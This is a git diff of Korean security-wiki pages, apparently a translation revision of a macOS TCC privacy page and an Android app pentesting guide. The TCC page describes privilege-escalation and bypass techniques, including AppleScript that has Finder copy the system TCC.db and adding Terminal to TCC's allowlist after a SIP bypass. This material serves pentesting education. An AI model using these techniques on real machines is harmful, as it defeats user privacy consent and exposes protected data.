<strong> if ((r8 & 0x1) == 0x0) {
</strong><strong> *(var_18 + 0x18) = **0x100004000;
</strong> *(int32_t *)(var_18 + 0x20) = 0xfffffed1;
var_4 = 0x0;
}
else {
// 함수가 있어야 할 계산된 주소 호출
// 함수가 있어야 하는 계산된 주소 호출
<strong> (var_20)(var_10, var_18);
</strong> var_4 = 0x1;
}
@ -365,7 +365,7 @@ return r0;
{{#endtab}}
{{#endtabs}}
실제로 **`0x100004000`** 함수로 가면 **`routine_descriptor`** 구조체 배열을 찾을 수 있습니다. 구조체의 첫 번째 요소는 **함수가 구현된 주소**이며, **구조체는 0x28 바이트를 차지**하므로, 0부터 시작하는 0x28 바이트마다 8 바이트를 가져오면 호출될 **함수의 주소**를 얻을 수 있습니다:
실제로 **`0x100004000`** 함수로 가면 **`routine_descriptor`** 구조체 배열을 찾을 수 있습니다. 구조체의 첫 번째 요소는 **함수가 구현된 주소**이며, **구조체는 0x28 바이트를 차지**하므로, 0부터 시작하여 0x28 바이트마다 8 바이트를 가져오면 호출될 **함수의 주소**가 됩니다:
<figure><img src="../../../../images/image (35).png" alt=""><figcaption></figcaption></figure>

70
src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md
View File

@ -4,23 +4,23 @@
## **기본 정보**
**TCC (투명성, 동의 및 제어)**는 애플리케이션 권한을 규제하는 데 중점을 둔 보안 프로토콜입니다. 그 주요 역할은 **위치 서비스, 연락처, 사진, 마이크, 카메라, 접근성 및 전체 디스크 접근**과 같은 민감한 기능을 보호하는 것입니다. TCC는 이러한 요소에 대한 앱 접근을 허용하기 전에 명시적인 사용자 동의를 요구함으로써 개인 정보 보호와 사용자 데이터에 대한 제어를 강화합니다.
**TCC (투명성, 동의 및 제어)**는 애플리케이션 권한을 규제하는 데 중점을 둔 보안 프로토콜입니다. 그 주요 역할은 **위치 서비스, 연락처, 사진, 마이크, 카메라, 접근성 및 전체 디스크 접근**과 같은 민감한 기능을 보호하는 것입니다. TCC는 이러한 요소에 대한 앱 접근을 허용하기 전에 명시적인 사용자 동의를 요구함으로써 개인 정보 보호 및 사용자 데이터에 대한 제어를 강화합니다.
사용자는 애플리케이션이 보호된 기능에 대한 접근을 요청할 때 TCC를 경험하게 됩니다. 이는 사용자가 **접근을 승인하거나 거부**할 수 있는 프롬프트를 통해 확인할 수 있습니다. 또한, TCC는 **파일을 애플리케이션으로 드래그 앤 드롭**하는 것과 같은 직접적인 사용자 행동을 수용하여 특정 파일에 대한 접근을 허용하며, 애플리케이션이 명시적으로 허용된 것에만 접근할 수 있도록 보장합니다.
사용자는 애플리케이션이 보호된 기능에 대한 접근을 요청할 때 TCC를 경험합니다. 이는 사용자가 **접근을 승인하거나 거부**할 수 있는 프롬프트를 통해 표시됩니다. 또한, TCC는 특정 파일에 대한 접근을 부여하기 위해 **파일을 애플리케이션으로 드래그 앤 드롭**하는 것과 같은 직접적인 사용자 행동을 수용하여, 애플리케이션이 명시적으로 허용된 것에만 접근할 수 있도록 보장합니다.
![TCC 프롬프트의 예](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855)
**TCC**는 `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd`에 위치한 **데몬**에 의해 처리되며, `/System/Library/LaunchDaemons/com.apple.tccd.system.plist`에서 구성됩니다 (mach 서비스 `com.apple.tccd.system` 등록).
로그인한 사용자마다 **사용자 모드 tccd**가 실행되며, 이는 `/System/Library/LaunchAgents/com.apple.tccd.plist`에 정의되어 mach 서비스 `com.apple.tccd` 및 `com.apple.usernotifications.delegate.com.apple.tccd`를 등록합니다.
로그인한 사용자마다 실행되는 **사용자 모드 tccd**가 `/System/Library/LaunchAgents/com.apple.tccd.plist`에 정의되어 있으며, mach 서비스 `com.apple.tccd` 및 `com.apple.usernotifications.delegate.com.apple.tccd`를 등록합니다.
여기에서 시스템과 사용자로서 실행 중인 tccd를 볼 수 있습니다:
여기에서 시스템 및 사용자로서 실행 중인 tccd를 볼 수 있습니다:
```bash
ps -ef | grep tcc
0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
501 63079 1 0 6:59PM ?? 0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd
```
권한은 **부모** 애플리케이션에서 **상속**되며, **권한**은 **번들 ID**와 **개발자 ID**를 기반으로 **추적**됩니다.
권한은 **부모** 애플리케이션에서 **상속**되며, **권한**은 **Bundle ID**와 **Developer ID**를 기반으로 **추적**됩니다.
### TCC 데이터베이스
@ -28,8 +28,8 @@ ps -ef | grep tcc
- **`/Library/Application Support/com.apple.TCC/TCC.db`**에 있는 시스템 전체 데이터베이스.
- 이 데이터베이스는 **SIP 보호**되어 있어, SIP 우회만이 여기에 쓸 수 있습니다.
- 사용자 TCC 데이터베이스는 **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**로, 사용자별 설정을 위한 것입니다.
- 이 데이터베이스는 보호되어 있어, 전체 디스크 접근과 같은 높은 TCC 권한을 가진 프로세스만 쓸 수 있습니다(하지만 SIP로 보호되지는 않습니다).
- 사용자 TCC 데이터베이스 **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**는 사용자별 설정을 위한 것입니다.
- 이 데이터베이스는 보호되어 있어, Full Disk Access와 같은 높은 TCC 권한을 가진 프로세스만 쓸 수 있습니다(하지만 SIP로 보호되지는 않습니다).
> [!WARNING]
> 이전 데이터베이스는 **읽기 접근을 위한 TCC 보호**도 적용됩니다. 따라서 **TCC 권한이 있는 프로세스**가 아닌 이상 일반 사용자 TCC 데이터베이스를 **읽을 수 없습니다**.
@ -37,9 +37,9 @@ ps -ef | grep tcc
> 그러나 이러한 높은 권한(예: **FDA** 또는 **`kTCCServiceEndpointSecurityClient`**)을 가진 프로세스는 사용자 TCC 데이터베이스에 쓸 수 있습니다.
- **`/var/db/locationd/clients.plist`**에 있는 **세 번째** TCC 데이터베이스는 **위치 서비스**에 접근할 수 있는 클라이언트를 나타냅니다.
- SIP 보호 파일 **`/Users/carlospolop/Downloads/REG.db`** (TCC로 읽기 접근도 보호됨)는 모든 **유효한 TCC 데이터베이스**의 **위치**를 포함합니다.
- SIP 보호 파일 **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (TCC로 읽기 접근도 보호됨)는 더 많은 TCC 부여 권한을 포함합니다.
- SIP 보호 파일 **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (누구나 읽을 수 있음)는 TCC 예외가 필요한 애플리케이션의 허용 목록입니다.
- SIP 보호 파일 **`/Users/carlospolop/Downloads/REG.db`** (TCC로 읽기 접근도 보호됨)에는 모든 **유효한 TCC 데이터베이스**의 **위치**가 포함되어 있습니다.
- SIP 보호 파일 **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (TCC로 읽기 접근도 보호됨)에는 더 많은 TCC 허용 권한이 포함되어 있습니다.
- SIP 보호 파일 **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (누구나 읽을 수 있음)은 TCC 예외가 필요한 애플리케이션의 허용 목록입니다.
> [!TIP]
> **iOS**의 TCC 데이터베이스는 **`/private/var/mobile/Library/TCC/TCC.db`**에 있습니다.
@ -54,7 +54,7 @@ ps -ef | grep tcc
> com.apple.rootless.storage.TCC
> ```
>
> 그러나 사용자는 **`tccutil`** 명령줄 유틸리티로 **규칙을 삭제하거나 쿼리**할 수 있습니다.
> 그러나 사용자는 **`tccutil`** 명령줄 유틸리티로 규칙을 **삭제하거나 쿼리**할 수 있습니다.
#### 데이터베이스 쿼리
@ -169,9 +169,9 @@ echo "$REQ_STR" | csreq -r- -b /tmp/csreq.bin
REQ_HEX=$(xxd -p /tmp/csreq.bin | tr -d '\n')
echo "X'$REQ_HEX'"
```
- 테이블의 **다른 필드**에 대한 자세한 내용은 [**이 블로그 게시물**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)을 확인하세요.
- 더 많은 정보는 **다른 필드**에 대한 [**이 블로그 게시물**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)를 확인하세요.
`System Preferences --> Security & Privacy --> Privacy --> Files and Folders`에서 앱에 **이미 부여된 권한**을 확인할 수도 있습니다.
또한 `System Preferences --> Security & Privacy --> Privacy --> Files and Folders`에서 앱에 대해 **이미 부여된 권한**을 확인할 수 있습니다.
> [!TIP]
> 사용자는 **`tccutil`**을 사용하여 **규칙을 삭제하거나 쿼리**할 수 있습니다.
@ -204,11 +204,11 @@ csreq -t -r /tmp/telegram_csreq.bin
### 권한 및 TCC 권한
앱은 **단순히** **요청**하고 **접근 권한을 부여받는 것**만으로는 충분하지 않으며, **관련 권한을 가져야** 합니다.\
예를 들어 **Telegram**은 **카메라에 접근하기 위해** `com.apple.security.device.camera` 권한을 가지고 있습니다. 이 **권한이 없는 앱**은 카메라에 접근할 수 없으며 (사용자에게 권한을 요청하지도 않습니다).
예를 들어 **Telegram**은 **카메라에 접근하기 위해** `com.apple.security.device.camera` 권한을 가지고 있습니다. 이 **권한이 없는 앱**은 카메라에 접근할 수 **없으며** (사용자에게 권한 요청도 하지 않습니다).
그러나 앱이 `~/Desktop`, `~/Downloads` 및 `~/Documents`와 같은 **특정 사용자 폴더에 접근하기 위해**는 특별한 **권한이 필요하지 않습니다.** 시스템은 접근을 투명하게 처리하고 **필요에 따라 사용자에게 요청**합니다.
그러나 앱이 `~/Desktop`, `~/Downloads` 및 `~/Documents`와 같은 **특정 사용자 폴더에 접근하기 위해서는** 특정 **권한이 필요하지 않습니다.** 시스템은 접근을 투명하게 처리하고 **필요에 따라 사용자에게 요청**합니다.
Apple의 앱은 **프롬프트를 생성하지 않습니다**. 이들은 **권한** 목록에 **미리 부여된 권한**을 포함하고 있어, **결코 팝업을 생성하지 않으며**, **TCC 데이터베이스**에 나타나지 않습니다. 예를 들어:
Apple의 앱은 **프롬프트를 생성하지 않습니다.** 이들은 **권한** 목록에 **미리 부여된 권한**을 포함하고 있어, **결코 팝업을 생성하지 않으며**, **TCC 데이터베이스**에 나타나지 않습니다. 예를 들어:
```bash
codesign -dv --entitlements :- /System/Applications/Calendar.app
[...]
@ -219,12 +219,12 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
<string>kTCCServiceAddressBook</string>
</array>
```
이것은 Calendar가 사용자에게 알림, 캘린더 및 주소록에 접근할 것을 요청하는 것을 피할 것입니다.
이것은 Calendar가 사용자에게 알림, 캘린더 및 주소록에 접근할 것을 요청하지 않도록 합니다.
> [!TIP]
> 일부 공식 문서 외에도 **https://newosxbook.com/ent.jl**에서 비공식적인 **흥미로운 정보**를 찾는 것이 가능합니다.
> 권한에 대한 공식 문서 외에도 [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl)에서 권한에 대한 비공식적인 **흥미로운 정보를 찾는 것도 가능합니다**.
일부 TCC 권한은: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... 모든 권한을 정의하는 공개 목록은 없지만, 이 [**알려진 목록**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service)을 확인할 수 있습니다.
일부 TCC 권한은: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... 모든 권한을 정의하는 공개 목록은 없지만 이 [**알려진 목록**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service)을 확인할 수 있습니다.
### 민감한 보호되지 않은 장소
@ -234,7 +234,7 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
### 사용자 의도 / com.apple.macl
앞서 언급했듯이, **파일을 드래그 앤 드롭하여 앱에 접근을 허용할 수 있습니다**. 이 접근은 어떤 TCC 데이터베이스에도 명시되지 않지만, **파일의 확장 속성**으로 저장됩니다. 이 속성은 허용된 앱의 **UUID**를 저장합니다:
앞서 언급했듯이, **파일을 드래그 앤 드롭하여 앱에 접근을 부여하는 것이 가능합니다**. 이 접근은 어떤 TCC 데이터베이스에도 명시되지 않지만 **파일의 확장된 속성**으로 저장됩니다. 이 속성은 허용된 앱의 **UUID**를 **저장합니다**:
```bash
xattr Desktop/private.txt
com.apple.macl
@ -252,9 +252,9 @@ uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
> [!NOTE]
> **`com.apple.macl`** 속성이 tccd가 아닌 **Sandbox**에 의해 관리된다는 점이 흥미롭습니다.
>
> 또한, 컴퓨터에서 앱의 UUID를 허용하는 파일을 다른 컴퓨터로 이동하면, 동일한 앱이 다른 UID를 가지기 때문에 해당 앱에 대한 접근이 허용되지 않습니다.
> 또한, 컴퓨터에서 앱의 UUID를 허용하는 파일을 다른 컴퓨터로 이동하면, 동일한 앱이 다른 UID를 가지기 때문에 해당 앱에 대한 접근 권한이 부여되지 않습니다.
확장 속성 `com.apple.macl` **는** 다른 확장 속성과 달리 **SIP에 의해 보호되기 때문에** **지울 수 없습니다**. 그러나 [**이 게시물에서 설명된 바와 같이**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), 파일을 **압축**하고 **삭제**한 후 **압축 해제**하면 이를 비활성화할 수 있습니다.
확장 속성 `com.apple.macl` **는** 다른 확장 속성과 달리 **SIP에 의해 보호되기 때문에** 지울 수 없습니다. 그러나 [**이 게시물에서 설명된 바와 같이**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), 파일을 **압축**하고 **삭제**한 후 **압축 해제**하면 이를 비활성화할 수 있습니다.
## TCC Privesc & Bypasses
@ -308,15 +308,15 @@ strftime('%s', 'now') -- last_reminded with default current timestamp
### TCC 페이로드
TCC 권한이 있는 앱에 들어갔다면, 이를 악용하기 위한 TCC 페이로드를 확인하려면 다음 페이지를 참조하세요:
TCC 권한이 있는 앱에 들어갈 수 있었다면, 이를 악용하기 위한 TCC 페이로드를 확인하세요:
{{#ref}}
macos-tcc-payloads.md
{{#endref}}
### Apple 이벤트
### Apple Events
Apple 이벤트에 대해 알아보세요:
Apple Events에 대해 알아보세요:
{{#ref}}
macos-apple-events.md
@ -327,7 +327,7 @@ macos-apple-events.md
자동화 권한의 TCC 이름은: **`kTCCServiceAppleEvents`**\
이 특정 TCC 권한은 TCC 데이터베이스 내에서 **관리할 수 있는 애플리케이션**을 나타냅니다 (따라서 권한이 모든 것을 관리할 수 있는 것은 아닙니다).
**Finder**는 **항상 FDA를 가지고 있는** 애플리케이션입니다 (UI에 나타나지 않더라도), 따라서 **자동화** 권한이 있다면, 이를 악용하여 **일부 작업을 수행하게 할 수 있습니다**.\
**Finder**는 **항상 FDA를 가지고 있는** 애플리케이션입니다 (UI에 나타나지 않더라도), 따라서 **Automation** 권한이 있다면, 이를 악용하여 **일부 작업을 수행하게 할 수 있습니다**.\
이 경우 귀하의 앱은 **`com.apple.Finder`**에 대한 **`kTCCServiceAppleEvents`** 권한이 필요합니다.
{{#tabs}}
@ -345,7 +345,7 @@ EOD
```
{{#endtab}}
{{#tab name="시스템 TCC.db 훔치기"}}
{{#tab name="Steal systems TCC.db"}}
```applescript
osascript<<EOD
tell application "Finder"
@ -361,7 +361,7 @@ EOD
이것을 악용하여 **자신만의 사용자 TCC 데이터베이스를 작성할 수 있습니다**.
> [!WARNING]
> 이 권한을 사용하면 **Finder에게 TCC 제한 폴더에 접근하도록 요청하고 파일을 가져올 수 있지만**, 내가 아는 한 **Finder가 임의의 코드를 실행하도록 만들 수는 없습니다**. 따라서 FDA 접근을 완전히 악용할 수는 없습니다.
> 이 권한을 사용하면 **Finder에게 TCC 제한 폴더에 접근하도록 요청하고 파일을 받을 수 있지만**, 내가 아는 한 **Finder가 임의의 코드를 실행하도록 만들 수는 없습니다**. 따라서 FDA 접근을 완전히 악용할 수는 없습니다.
>
> 따라서 전체 FDA 기능을 악용할 수 없습니다.
@ -370,7 +370,7 @@ EOD
<figure><img src="../../../../images/image (27).png" alt="" width="244"><figcaption></figcaption></figure>
> [!CAUTION]
> **Automator** 앱이 TCC 권한 **`kTCCServiceAppleEvents`**를 가지고 있기 때문에, **모든 앱을 제어할 수 있습니다**, 예를 들어 Finder. 따라서 Automator를 제어할 수 있는 권한이 있다면 아래와 같은 코드를 사용하여 **Finder**도 제어할 수 있습니다:
> **Automator** 앱이 TCC 권한 **`kTCCServiceAppleEvents`**를 가지고 있기 때문에, **모든 앱을 제어할 수 있습니다**, 예를 들어 Finder와 같은 앱을 제어할 수 있습니다. 따라서 Automator를 제어할 수 있는 권한이 있다면 아래와 같은 코드를 사용하여 **Finder**도 제어할 수 있습니다:
<details>
@ -396,7 +396,7 @@ EOD
```
</details>
**Script Editor 앱**도 마찬가지로 Finder를 제어할 수 있지만, AppleScript를 사용하여 스크립트를 실행하도록 강제할 수는 없습니다.
**Script Editor 앱**에서도 같은 일이 발생합니다. Finder를 제어할 수 있지만, AppleScript를 사용하여 스크립트를 실행하도록 강제할 수는 없습니다.
### Automation (SE) to some TCC
@ -494,7 +494,7 @@ EOF
```
### `kTCCServiceAccessibility` to FDA\*
이 페이지에서 [**접근성 권한을 악용하기 위한 페이로드**](macos-tcc-payloads.md#accessibility)를 확인하여 FDA\*로 권한 상승하거나 키로거를 실행할 수 있습니다.
이 페이지에서 [**접근성 권한을 악용하기 위한 페이로드**](macos-tcc-payloads.md#accessibility)를 확인하여 FDA\*로 권한 상승하거나 예를 들어 키로거를 실행할 수 있습니다.
### **Endpoint Security Client to FDA**
@ -502,7 +502,7 @@ EOF
### System Policy SysAdmin File to FDA
**`kTCCServiceSystemPolicySysAdminFiles`**는 사용자의 홈 폴더를 변경하는 **`NFSHomeDirectory`** 속성을 **변경**할 수 있게 하여 **TCC를 우회**할 수 있게 합니다.
**`kTCCServiceSystemPolicySysAdminFiles`**는 사용자의 **`NFSHomeDirectory`** 속성을 **변경**할 수 있게 하여 그의 홈 폴더를 변경하고 따라서 **TCC를 우회**할 수 있게 합니다.
### User TCC DB to FDA
@ -514,7 +514,7 @@ EOF
**전체 디스크 접근**의 TCC 이름은 **`kTCCServiceSystemPolicyAllFiles`**입니다.
이것이 실제 권한 상승이라고 생각하지 않지만, 유용할 경우를 대비해: FDA로 프로그램을 제어하면 **사용자의 TCC 데이터베이스를 수정하고 자신에게 모든 접근 권한을 부여할 수 있습니다**. 이는 FDA 권한을 잃을 경우 지속성 기술로 유용할 수 있습니다.
이것이 실제 권한 상승이라고 생각하지 않지만, 만약 유용하다면: FDA를 제어하는 프로그램이 있다면 **사용자의 TCC 데이터베이스를 수정하고 자신에게 모든 접근 권한을 부여할 수 있습니다**. 이는 FDA 권한을 잃을 경우 지속성 기술로 유용할 수 있습니다.
### **SIP Bypass to TCC Bypass**
@ -525,7 +525,7 @@ EOF
- REG.db
- MDMOverrides.plist
그러나 이 **SIP 우회를 통해 TCC를 우회**할 수 있는 또 다른 옵션이 있습니다. 파일 `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`는 TCC 예외가 필요한 애플리케이션의 허용 목록입니다. 따라서 공격자가 이 파일에서 **SIP 보호를 제거**하고 자신의 **애플리케이션**을 추가할 수 있다면, 해당 애플리케이션은 TCC를 우회할 수 있습니다.\
그러나 이 **SIP 우회를 통해 TCC를 우회**할 수 있는 또 다른 옵션이 있습니다. 파일 `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`는 TCC 예외가 필요한 애플리케이션의 허용 목록입니다. 따라서 공격자가 이 파일의 **SIP 보호를 제거**하고 자신의 **애플리케이션**을 추가할 수 있다면, 해당 애플리케이션은 TCC를 우회할 수 있습니다.\
예를 들어 터미널을 추가하기 위해:
```bash
# Get needed info
@ -560,7 +560,7 @@ AllowApplicationsList.plist:
macos-tcc-bypasses/
{{#endref}}
## 참고자료
## 참고문헌
- [**https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)
- [**https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command**](https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command)

170
src/mobile-pentesting/android-app-pentesting/README.md
View File

@ -13,14 +13,14 @@ android-applications-basics.md
## ADB (Android Debug Bridge)
이것은 안드로이드 장치(에뮬레이트된 또는 물리적)에 연결하는 데 필요한 주요 도구입니다.\
**ADB**는 컴퓨터에서 **USB** 또는 **네트워크**를 통해 장치를 제어할 수 있게 해줍니다. 이 유틸리티는 **파일 복사**, **앱 설치 및 제거**, **셸 명령 실행**, **데이터 백업**, **로그 읽기** 등 여러 기능을 지원합니다.
**ADB**는 컴퓨터에서 **USB** 또는 **네트워크**를 통해 장치를 제어할 수 있게 해줍니다. 이 유틸리티는 **파일 복사**, **앱 설치 및 제거**, **셸 명령 실행**, **데이터 백업**, **로그 읽기** 등 여러 기능을 가능하게 합니다.
다음 목록의 [**ADB Commands**](adb-commands.md)를 확인하여 adb 사용 방법을 배우세요.
ADB 사용 방법을 배우기 위해 다음 [**ADB Commands**](adb-commands.md) 목록을 확인하세요.
## Smali
때때로 **숨겨진 정보**(아마도 잘 난독화된 비밀번호나 플래그)에 접근하기 위해 **애플리케이션 코드를 수정하는 것**이 흥미로울 수 있습니다. 그러므로 apk를 디컴파일하고 코드를 수정한 후 다시 컴파일하는 것이 흥미로울 수 있습니다.\
[**이 튜토리얼에서** APK를 디컴파일하고 Smali 코드를 수정한 후 새로운 기능으로 APK를 다시 컴파일하는 방법을 **배울 수 있습니다**](smali-changes.md). 이는 **동적 분석 중 여러 테스트의 대안으로 매우 유용할 수 있습니다**. 그러므로 **이 가능성을 항상 염두에 두세요**.
때때로 **숨겨진 정보**(잘 난독화된 비밀번호나 플래그일 수 있음)에 접근하기 위해 **애플리케이션 코드를 수정하는 것**이 흥미로울 수 있습니다. 그러므로 apk를 디컴파일하고 코드를 수정한 후 다시 컴파일하는 것이 흥미로울 수 있습니다.\
[**이 튜토리얼에서** APK를 디컴파일하고, Smali 코드를 수정하고, 새로운 기능으로 APK를 다시 컴파일하는 방법을 **배울 수 있습니다**](smali-changes.md). 이는 **동적 분석 중 여러 테스트의 대안으로 매우 유용할 수 있습니다**. 그러므로 **이 가능성을 항상 염두에 두세요**.
## Other interesting tricks
@ -47,8 +47,8 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
```
## 정적 분석
우선, APK를 분석하기 위해서는 **디컴파일러를 사용하여 Java 코드를 살펴봐야 합니다**.\
자세한 내용은 [**다양한 사용 가능한 디컴파일러에 대한 정보를 읽어보세요**](apk-decompilers.md).
우선, APK를 분석하기 위해서는 **디컴파일러를 사용하여 Java 코드를 살펴봐야 합니다.**\
자세한 내용은 [**다양한 사용 가능한 디컴파일러에 대한 정보를 읽어보세요.**](apk-decompilers.md).
### 흥미로운 정보 찾기
@ -60,16 +60,16 @@ APK의 **문자열**을 살펴보면 **비밀번호**, **URL** ([https://github.
### 애플리케이션에 대한 기본 이해 - Manifest.xml, strings.xml
**애플리케이션의 \_Manifest.xml**_\*\* 및 \*\*_**strings.xml**\_\*\* 파일을 검사하면 잠재적인 보안 취약점을 발견할 수 있습니다\*\*. 이러한 파일은 디컴파일러를 사용하거나 APK 파일 확장자를 .zip으로 변경한 후 압축을 풀어 접근할 수 있습니다.
**애플리케이션의 _Manifest.xml_ 및 **_strings.xml_** 파일을 검사하면 잠재적인 보안 취약점을 발견할 수 있습니다.** 이러한 파일은 디컴파일러를 사용하거나 APK 파일 확장자를 .zip으로 변경한 후 압축을 풀어 접근할 수 있습니다.
**Manifest.xml**에서 식별된 **취약점**은 다음과 같습니다:
- **디버깅 가능한 애플리케이션**: _Manifest.xml_ 파일에서 디버깅 가능(`debuggable="true"`)으로 설정된 애플리케이션은 연결을 허용하여 악용될 위험이 있습니다. 디버깅 가능한 애플리케이션을 찾고 악용하는 방법에 대한 튜토리얼을 참조하세요.
- **백업 설정**: 민감한 정보를 다루는 애플리케이션의 경우 `android:allowBackup="false"` 속성을 명시적으로 설정하여 adb를 통한 무단 데이터 백업을 방지해야 합니다. 특히 USB 디버깅이 활성화된 경우에 그렇습니다.
- **네트워크 보안**: _res/xml/_의 사용자 지정 네트워크 보안 구성(`android:networkSecurityConfig="@xml/network_security_config"`)은 인증서 핀 및 HTTP 트래픽 설정과 같은 보안 세부정보를 지정할 수 있습니다. 예를 들어 특정 도메인에 대해 HTTP 트래픽을 허용하는 것입니다.
- **내보내기된 활동 및 서비스**: 매니페스트에서 내보내기된 활동 및 서비스를 식별하면 악용될 수 있는 구성 요소를 강조할 수 있습니다. 동적 테스트 중 추가 분석을 통해 이러한 구성 요소를 악용하는 방법을 밝혀낼 수 있습니다.
- **내보낸 활동 및 서비스**: 매니페스트에서 내보낸 활동 및 서비스를 식별하면 악용될 수 있는 구성 요소를 강조할 수 있습니다. 동적 테스트 중 추가 분석을 통해 이러한 구성 요소를 악용하는 방법을 밝혀낼 수 있습니다.
- **콘텐츠 제공자 및 파일 제공자**: 노출된 콘텐츠 제공자는 무단 데이터 접근 또는 수정이 가능할 수 있습니다. 파일 제공자의 구성도 면밀히 검토해야 합니다.
- **브로드캐스트 수신기 및 URL 스킴**: 이러한 구성 요소는 악용될 수 있으며, 입력 취약점에 대한 URL 스킴 관리 방법에 특별한 주의를 기울여야 합니다.
- **브로드캐스트 수신기 및 URL 스킴**: 이러한 구성 요소는 악용될 수 있으며, 입력 취약점에 대한 URL 스킴 관리 방법에 특히 주의해야 합니다.
- **SDK 버전**: `minSdkVersion`, `targetSDKVersion`, `maxSdkVersion` 속성은 지원되는 Android 버전을 나타내며, 보안상의 이유로 구식의 취약한 Android 버전을 지원하지 않는 것이 중요합니다.
**strings.xml** 파일에서 API 키, 사용자 정의 스키마 및 기타 개발자 노트와 같은 민감한 정보를 발견할 수 있으며, 이러한 리소스를 신중하게 검토할 필요성을 강조합니다.
@ -85,9 +85,9 @@ APK의 **문자열**을 살펴보면 **비밀번호**, **URL** ([https://github.
tapjacking.md
{{#endref}}
### 작업 하이재킹
### 작업 탈취
**`launchMode`**가 **`singleTask`**로 설정되고 `taskAffinity`가 정의되지 않은 **활동**은 작업 하이재킹에 취약합니다. 이는 **애플리케이션**이 설치되고 실제 애플리케이션보다 먼저 실행될 경우 **실제 애플리케이션의 작업을 하이재킹할 수 있음을 의미합니다**(사용자는 **악의적인 애플리케이션을 사용하고 있다고 생각하게 됩니다**).
**`launchMode`**가 **`singleTask`**로 설정되고 `taskAffinity`가 정의되지 않은 **활동**은 작업 탈취에 취약합니다. 이는 **애플리케이션**이 설치될 수 있으며, 실제 애플리케이션보다 먼저 실행되면 **실제 애플리케이션의 작업을 탈취할 수 있습니다**(따라서 사용자는 **악의적인 애플리케이션과 상호작용하고 있다고 생각하게 됩니다**).
자세한 내용은 다음에서 확인하세요:
@ -99,31 +99,31 @@ android-task-hijacking.md
**내부 저장소**
Android에서 **내부** 저장소에 **저장된** 파일은 **생성한 앱**만 **접근할 수 있도록 설계**되었습니다. 이 보안 조치는 Android 운영 체제에 의해 **강제**되며, 대부분의 애플리케이션의 보안 요구 사항에 일반적으로 적합합니다. 그러나 개발자들은 때때로 `MODE_WORLD_READABLE` 및 `MODE_WORLD_WRITABLE`와 같은 모드를 사용하여 파일이 서로 다른 애플리케이션 간에 **공유되도록 허용합니다**. 그러나 이러한 모드는 **다른 애플리케이션, 특히 악의적인 애플리케이션의 접근을 제한하지 않습니다**.
Android에서 **내부** 저장소에 **저장된** 파일은 **생성한 앱**만 **접근할 수 있도록 설계**되어 있습니다. 이 보안 조치는 Android 운영 체제에 의해 **강제**되며, 대부분의 애플리케이션의 보안 요구 사항에 일반적으로 적합합니다. 그러나 개발자는 때때로 `MODE_WORLD_READABLE` 및 `MODE_WORLD_WRITABLE`와 같은 모드를 사용하여 파일이 서로 다른 애플리케이션 간에 **공유**될 수 있도록 합니다. 그러나 이러한 모드는 **다른 애플리케이션**(잠재적으로 악의적인 애플리케이션 포함)에 대한 접근을 **제한하지 않습니다**.
1. **정적 분석:**
- `MODE_WORLD_READABLE` 및 `MODE_WORLD_WRITABLE`의 사용이 **신중하게 검토되어야 합니다**. 이러한 모드는 **원치 않거나 무단 접근**을 **노출할 수 있습니다**.
- `MODE_WORLD_READABLE` 및 `MODE_WORLD_WRITABLE`의 사용이 **신중하게 검토**되어야 합니다. 이러한 모드는 **원치 않거나 무단 접근**을 **노출할 수 있습니다**.
2. **동적 분석:**
- 앱에서 생성된 파일에 설정된 **권한**을 **확인**하세요. 특히, 어떤 파일이 **전 세계적으로 읽거나 쓸 수 있도록 설정되어 있는지 확인하세요**. 이는 **어떤 애플리케이션**이든 장치에 설치된 경우, 출처나 의도에 관계없이 이러한 파일을 **읽거나 수정**할 수 있게 하여 상당한 보안 위험을 초래할 수 있습니다.
- 앱에서 생성된 파일에 설정된 **권한**을 **확인**합니다. 특히, 어떤 파일이 **전 세계적으로 읽거나 쓸 수 있도록 설정되어 있는지** 확인합니다. 이는 **어떤 애플리케이션**이든 장치에 설치된 경우, 출처나 의도에 관계없이 이러한 파일을 **읽거나 수정**할 수 있게 하여 상당한 보안 위험을 초래할 수 있습니다.
**외부 저장소**
**외부 저장소**에서 파일을 다룰 때는 몇 가지 주의 사항이 필요합니다:
**외부 저장소**(예: SD 카드)에서 파일을 다룰 때는 몇 가지 주의 사항이 필요합니다:
1. **접근성**:
- 외부 저장소의 파일은 **전 세계적으로 읽고 쓸 수 있습니다**. 이는 모든 애플리케이션이나 사용자가 이러한 파일에 접근할 수 있음을 의미합니다.
